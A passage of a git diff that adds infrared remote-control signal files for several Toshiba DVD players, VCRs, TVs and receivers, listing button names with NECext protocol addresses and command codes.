+name: abrpt +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: fldimmer +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: e.a.m +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: colorstream +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: topmenu +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F0 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F1 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir new file mode 100644 index 000000000..e23c006c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: pause-step +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: skip-left +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: skip-right +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir new file mode 100644 index 000000000..6688eea79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: TV_Video +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: Ent +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 51 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 58 00 00 00 +# +name: Menu_Enter +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 +# +name: ADV_PIP_Up +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 82 00 00 00 +# +name: ADV_PIP_Down +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 83 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 90 00 00 00 +# +name: Strobe +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 91 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 93 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir new file mode 100644 index 000000000..513571bf1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: track_down +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: track_up +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: tv/catv +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 17 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 46 00 00 00 +# +name: shift_right +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4D 00 00 00 +# +name: timer_record +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: shift_left +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 51 00 00 00 +# +name: otr_right +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5B 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: tape_speed +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: tv/line +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 83 00 00 00 +# +name: zero_return +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 87 00 00 00 +# +name: counter_reset +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: A0 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: A1 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: A2 00 00 00 +# +name: otr_left +type: parsed +protocol: NECext +address: 44 00 00 00 +command: AC 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir new file mode 100644 index 000000000..2f46efc2e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir new file mode 100644 index 000000000..5c9532941 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 89 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8B 00 00 00 +# +name: antenna +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 92 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 94 00 00 00 +# +name: surf +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 95 00 00 00 +# +name: dss +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9B 00 00 00 +# +name: alternate +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9F 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: C0 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: C8 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: C9 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: CA 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: CB 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: CC 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: D1 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: D4 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: D7 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir new file mode 100644 index 000000000..6045a53d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: PauseStep +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: RepeatA-B +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: FlDim +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: EAM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: FlSelect +type: parsed +protocol: NECext +address: 45 00 00 00 +command: D7 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: EPM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir new file mode 100644 index 000000000..64090e046 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: pause/step +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: slow.fwd +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: slow.rev +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: skip.rev +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: skip.fwd +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: a-b.rpt +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: fl.dim +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: e.a.m. +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: topmenu +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: marker +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EC 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir new file mode 100644 index 000000000..d3bbc7bb5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: TRACKING+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: TRACKING- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: TV/VIDEO_REMOTE_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: TV/VCR_EXTRA +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: REMAIN/COUNTER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 17 00 00 00 